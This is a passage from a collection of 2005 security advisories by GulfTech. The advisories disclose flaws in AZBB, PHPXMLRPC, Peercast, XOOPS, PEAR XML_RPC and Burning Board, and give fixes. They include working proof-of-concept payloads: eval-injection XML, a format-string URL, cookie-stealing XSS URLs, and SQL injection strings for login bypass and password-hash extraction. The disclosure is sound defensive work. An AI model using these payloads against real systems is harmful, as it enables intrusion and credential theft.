PhotoPost 4.86 has been released to address these issues. Users should upgrade their installation as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team
AZBB Multiple Vulnerabilities
Vendor: AZBB
Product: AZBB
Version: <= 1.0.07d
Website: http://azbb.cyaccess.com/
BID: 13272 13278
CVE: CVE-2005-1200 CVE-2005-1201
OSVDB: 15700 15701 15702 15703
SECUNIA: 15013
PACKETSTORM: 37792
Description:
azbb is a forum that was written with a primary focus on security. azbb does not require a database such as MySQL, PostGres or MSSQL and can even be used as a blog, or portal of sorts. Unfortunately there are a number of security issues in AZBB versions prior to 1.0.08, but none of these issues are considered "high risk". However, the developer has addressed these issues and all users should upgrade to the current 1.0.08 version. These vulnerabilities include file enumeration, arbitrary file deletion, and file inclusion issues.
Arbitrary File Deletion:
There is an issue in AZBB that could allow for an attacker logged in as an admin, or a malicious admin to delete arbitrary files outside the scope of the application. The vulnerable code is in admin_avatar.php and admin_attachment.php Lets have a look at the code in admin_avatar.php
## trim all and delete
foreach ($_POST['avat_select'] as $ent)
{
if (file_exists($dir_avatar.'/'.$ent))
{ unlink($dir_avatar.'/'.$ent); }
}
As we can see there are no checks made for traversal sequences, and a user with admin privileges could easily delete arbitrary files on the server. The vulnerability in admin_attachment.php is nearly identical.
File Include Vulnerability:
There is a file inclusion vulnerability in AZBB 1.0.07a - 1.0.07c that is the result of missing code that is present in all of the other AZBB versions. This file inclusion issue poses a different risk level depending on your server configuration. Lets have a look at the code in question. @ /azbb_center/source/main_index.php
########## Get the Abstraction Layer
$inc = $dir_src.'/'.$abs_layer.'_db_ops.php';
file_exists($inc) ? include($inc) : exit('Unable to open '.$inc);
Since the "AZBB KEY CHECK" that exists in other pages is missing from this page we can influence both the $dir_src and $abs_layer variables if register globals is on. However, what we can do with this greatly depends on the server configuration, and this is a result of the file_exists() function being used. You can read more about this in the official php manual located here http://us2.php.net/file_exists
Arbitrary File Enumeration:
There is an issue in AZBB that can be exploited by both users and guests alike to tell whether or not files on the target server exists. This is due to a file check coming before the input is cleaned in attachment.php
elseif (!file_exists($dir_att.'/'.$_POST['attachment'])) {$error = $txt_err[13];}
This issue can not be used to download arbitrary files, because the input is cleaned before the file is included, but we can enumerate files. To check if a file exists on the target web server all an attacker has to do is modify the "attachment" parameter to include traversal sequences. If the file exists we will be prompted with a download, and if it doesn't exists we will see an error message.
Solution:
The developer of AZBB was very quick to respond and has addressed these issues. A complete change log can be seen by following the url posted below. Also, you will find the link to the updated AZBB 1.0.08 downloads below
http://azbb.cyaccess.com/azbb.php?1091778548
http://azbb.cyaccess.com/azbb.php?1091872271
All users are advised to upgrade their azbb installations as soon as possible. A special thanks to AZ for remedying these issues so quickly. If everyone responded in this timely of a manner it would make what we do a lot easier :)
Credits:
James Bercegay of the GulfTech Security Research Team
PHPXMLRPC Remote Code Execution
Vendor: Useful Information Inc.
Product: PHPXMLRPC
Version: <= 1.1
Website: http://phpxmlrpc.sourceforge.net/
BID: 14088
CVE: CVE-2005-1921
OSVDB: 17793
SECUNIA: 15852
PACKETSTORM: 38394
Description:
PHPXMLRPC aka XML-RPC For PHP is a PHP implementation of the XML-RPC web RPC protocol, and was originally developed by Edd Dumbill of Useful Information Company. As of the 1.0 stable release, the project has been opened to wider involvement and moved to SourceForge. PHPXMLRPC is used in a large number of popular web applications such as PostNuke, Drupal, b2evolution, and TikiWiki. Unfortunately PHPXMLRPC is vulnerable to a remote php code execution vulnerability that may be exploited by an attacker to compromise a vulnerable system.
Remote Code Execution:
PHPXMLRPC is vulnerable to a very high risk remote php code execution vulnerability that may allow for an attacker to compromise a vulnerable webserver. The vulnerability is the result of unsanatized data being passed directly into an eval() call in the parseRequest() function of the XMLRPC server.
// decompose incoming XML into request structure
xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($parser, "xmlrpc_se", "xmlrpc_ee");
xml_set_character_data_handler($parser, "xmlrpc_cd");
xml_set_default_handler($parser, "xmlrpc_dh");
if (!xml_parse($parser, $data, 1)) {
// return XML error as a faultCode
$r=new xmlrpcresp(0,
$xmlrpcerrxml+xml_get_error_code($parser),
sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($parser)),
xml_get_current_line_number($parser)));
xml_parser_free($parser);
} else {
xml_parser_free($parser);
$m=new xmlrpcmsg($_xh[$parser]['method']);
// now add parameters in
$plist="";
for($i=0; $i\n";
$plist.="$i - " . $_xh[$parser]['params'][$i]. " \n";
eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");");
}
By creating an XML file that uses single quotes to escape into the eval() call an attacker can easily execute php code on the target server. This has a lot to do with the fact that magic_quotes_gpc() does not apply to $HTTP_RAW_POST_DATA so using single quotes is not a problem.
<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>
The above xml file when posted to the vulnerable server will cause the phpinfo() function call to be executed on the vulnerable server.
Solution:
An updated version of PHPXMLRPC can be downloaded from their official website, and all users are advised to upgrade immediately.
http://sourceforge.net/project/showfiles.php?group_id=34455&package_id=26601
A special thanks to Ed Dumbill, Giunta Gaetano, and all of the other people that helped get this fix out, and all of the people who helped us try and track down developers who were using this third party XMLRPC library.
Credits:
James Bercegay of the GulfTech Security Research Team
Peercast Format String Vulnerability
Vendor: peercast.org
Product: Peercast
Version: <= 0.1211
Website: http://www.peercast.org/
BID: 13808
CVE: CVE-2005-1806
OSVDB: 16906
SECUNIA: 15536
PACKETSTORM: 39355
Description:
Peercast is a popular p2p streaming media server (similar to shoutcast). There is a serious security issue in peercast versions 0.1211 and earlier that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast (usually administrator) or crash the vulnerable server. There is an updated version of peercast available and all users should upgrade as soon as possible.
Format String Vulnerability:
There is a very dangerous format string issue in peercast that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast or crash the vulnerable server. Below is an example of how this vulnerability can be exploited to crash a vulnerable server.
http://localhost:7144/html/en/index.htm%n
The problem occurs because of the way some error messages are handled. For example in the above example the peercast server receives a malformed request, so the error routine printed the URL, but the error print routine (because it was a printf type function call) then tries to parse the malicious url.
Solution:
Thanks to Giles from Peercast for fixing this issue fast and releasing a patch in just a few hours. Now that is a quick turn around!
http://www.peercast.org/forum/viewtopic.php?p=11596
Credits:
James Bercegay of the GulfTech Security Research Team
XOOPS Multiple Vulnerabilities
Vendor: XOOPS
Product: XOOPS
Version: <= 2.0.11
Website: http://www.xoops.org/
BID: 14094 14096
CVE: CVE-2005-2112 CVE-2005-2113
OSVDB: 17633 17634 17635
SECUNIA: 15843
PACKETSTORM: 38372
Description:
XOOPS is a very popular dynamic web content management system written in Object Oriented PHP. One of the features of XOOPS is it's own XMLRPC server that handles incoming XMLRPC requests. This particular feature is vulnerable to a highly critical SQL Injection issue. Additionally there are several cross site scripting issues in XOOPS as well which could allow for theft of user data or client side code execution in the context of the victim's web browser.
Cross Site Scripting:
There are a number of cross site scripting issues in the XOOPS content management software.
http://xoops/modules/newbb/edit.php?forum=1&topic_id=1&viewmode=flat&order=
ASC%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/script%3E&post_id=1
http://xoops/modules/repository/comment_edit.php?com_itemid=1&com_order=0&com
_mode=flat&cid=1&cid=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3C/script%3E&com_id=1
These vulnerabilities can be used to render hostile code in the context of the victims browser, and in turn disclose sensitive information to an attacker.
SQL Injection:
As I mentioned earlier XOOPS comes with it's own XMLRPC server which is enabled by default and is named xmlrpc.php The problem with XMLRPC in xoops is lack of sanitation, but because the data is recieved from the reserved $HTTP_RAW_POST_DATA variable magic_quotes_gpc are never applied! This is a big problem and makes every allowable RPC method in the XOOPS XMLRPC server vulnerable to SQL injection. Why? Well, the main reason is this. This code is from the bloggerapi.php file that handles all incoming blogger XMLRPC requests.
function getUserInfo()
{
if (!$this->_checkUser($this->params[1], $this->params[2])) {
$this->response->add(new XoopsXmlRpcFault(104));
} else {
$struct = new XoopsXmlRpcStruct();
$struct->add('nickname', new XoopsXmlRpcString($this->user->getVar('uname')));
$struct->add('userid', new XoopsXmlRpcString($this->user->getVar('uid')));
$struct->add('url', new XoopsXmlRpcString($this->user->getVar('url')));
$struct->add('email', new XoopsXmlRpcString($this->user->getVar('email')));
$struct->add('lastname', new XoopsXmlRpcString(''));
$struct->add('firstname', new XoopsXmlRpcString($this->user->getVar('name')));
$this->response->add($struct);
}
}
the _checkUser function is really just a wrapper for the XMLRPC server, as the arguments are eventually passed to the XOOPS core function "loginUser()" which is where the real problem happens. Below is a sample xml file that when sent to the server will influence the query.
<?xml version="1.0"?>
<methodCall>
<methodName>blogger.getPost</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
<param>
<value><string>admin')/*</string></value>
</param>
<param>
<value><string>passwordfield</string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>
This example would authenticate you in as admin and then execute the blogger.getPost method call. An attacker could use this vulnerability to easily gain the administrator hash, and much more.
Solution:
A new version of XOOPS has been released, and users should upgrade as soon as possible.
http://www.xoops.org/modules/news/article.php?storyid=2383
Special thanks to Jan Pederson from XOOPS for acting so quickly on this very high risk issue. Very prompt, very professional!
Credits:
James Bercegay of the GulfTech Security Research Team
PEAR XML_RPC Remote Code Execution
Vendor: The PEAR Group
Product: PEAR XML_RPC
Version: <= 1.3.0
Website: http://pear.php.net/package/XML_RPC/
CVE: 17793
PACKETSTORM: 38393
Description:
PEAR XML_RPC is a PHP implementation of the XML-RPC web RPC protocol, and used by many different developers across the world. PEAR XML_RPC was originally developed by Edd Dumbill of Useful Information Company, but has since been expanded by several individuals. Unfortunately PEAR XML_RPC is vulnerable to a remote php code execution vulnerability that may allow for an attacker to compromise a vulnerable server. Version 1.3.1 has been released to address these issues.
Remote Command Execution:
PEAR XML_RPC is vulnerable to a very high risk php code injection vulnerability due to unsanatized data being passed into an eval() call. Let us have a look at the code that allows the vulnerability to present itself.
// decompose incoming XML into request structure
xml_parser_set_option($parser_resource, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($parser_resource, 'XML_RPC_se', 'XML_RPC_ee');
xml_set_character_data_handler($parser_resource, 'XML_RPC_cd');
if (!xml_parse($parser_resource, $data, 1)) {
// return XML error as a faultCode
$r = new XML_RPC_Response(0,
$XML_RPC_errxml+xml_get_error_code($parser_resource),
sprintf('XML error: %s at line %d',
xml_error_string(xml_get_error_code($parser_resource)),
xml_get_current_line_number($parser_resource)));
xml_parser_free($parser_resource);
} else {
xml_parser_free($parser_resource);
$m = new XML_RPC_Message($XML_RPC_xh[$parser]['method']);
// now add parameters in
for ($i = 0; $i < sizeof($XML_RPC_xh[$parser]['params']); $i++) {
// print '\n";
$plist .= "$i - " . $XML_RPC_xh[$parser]['params'][$i] . " \n";
eval('$m->addParam(' . $XML_RPC_xh[$parser]['params'][$i] . ');');
}
XML_RPC_Server_debugmsg($plist);
The for() loop that holds the vulnerable eval() call is used to build the request from an incoming POST containing an XML document. There is really no type of checks or sanitation done prior to this point, and the fact that magic_quotes_gpc does not apply makes it that much easier for this issue to be exploited.
<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>
The above xml file when posted to the vulnerable server will cause the phpinfo() function call to be executed on the vulnerable server.
Solution:
PEAR XML_RPC 1.3.1 has been released to address this issue and can be found at
http://pear.php.net/package/XML_RPC/download/1.3.1
Both users and developers alike are strongly advised to upgrade immediately!
Credits:
James Bercegay of the GulfTech Security Research Team
Burning Board SQL Injection
Vendor: Woltlab GmbH
Product: Burning Board
Version: <= 2.3.1
Website: http://www.woltlab.de/
BID: 13643
CVE: CVE-2005-1642
OSVDB: 16575
SECUNIA: 15395
PACKETSTORM: 39262
Description:
Burning Board is a popular, multi purpose forum / community software offered by WoltLab GmbH. There is an SQL Injection vulnerability in Burning Board 2.* and earlier that allows for an attacker to influence SQL Queries and possibly query arbitrary data from the database, such as admin password hashes. The developers are said to have made a patch available as of late last week, and all users should upgrade their Burning Board installations as soon as possible.
SQL Injection Vulnerability:
Burning Board is prone to SQL Injection attacks that may allow for an attacker to query arbitrary database information, including admin password hashes. The vulnerability lies in the verify_email() function
function verify_email($email) {
global $db, $n, $multipleemailuse, $ban_email;
$email=strtolower($email);
if(!preg_match("/^([_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*
(\.[a-zA-Z]{2,}))/si",$email)) return false;
$ban_email=explode("\n",preg_replace("/\s*\n\s*/","\n",strtolower(trim($ban_email))));
for($i = 0; $i < count($ban_email); $i++) {
$ban_email[$i]=trim($ban_email[$i]);
if(!$ban_email[$i]) continue;
if(strstr($ban_email[$i], "*")) {
$ban_email[$i] = str_replace("*",".*",$ban_email[$i]);
if(preg_match("/$ban_email[$i]/i",$email)) return false;
}
elseif($email==$ban_email[$i]) return false;
}
if($multipleemailuse==1) return true;
else {
$result = $db->query_first("SELECT COUNT(*) FROM bb".$n."_users WHERE email = '".$email."'");
if($result[0]!=0) return false;
else return true;
}
}
As we can see from the code above, $email is never really sanitized. Sure, it has to match the regular expression above, but we can always do something like pass it an email address like this
sre464hfrgt6@4g546ufgfrh5.org' OR (userid=1 AND MID(password,1,1)='a')/*
Which would return an error message about the email already being in use or invalid if the first character of the password hash is 'a'. In order to keep from registering multiple accounts while trying to exploit this vulnerability an attacker simply would need to specify a username that is already in use. Also, it should be noted that it does not matter that $email is encapsulated in single quotes due to this bit of code in global.php
// remove slashes in get post cookie data...
if (get_magic_quotes_gpc()) {
if(is_array($_REQUEST)) $_REQUEST=stripslashes_array($_REQUEST);
if(is_array($_POST)) $_POST=stripslashes_array($_POST);
if(is_array($_GET)) $_GET=stripslashes_array($_GET);
if(is_array($_COOKIE)) $_COOKIE=stripslashes_array($_COOKIE);
}
This is not a very hard issue to exploit, and a user does not need to be authenticated to exploit it. Also, disabling user registrations is not a safe work around by itself as this issue also exists when a user edit's or update's their profile (in the email field). Exploit code for this issue exists, and has been released to the developers, but we will not be making it available to the public at this time.
Solution:
The developers are said to have made a patch available as of late last week, and all users should upgrade their Burning Board installations as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team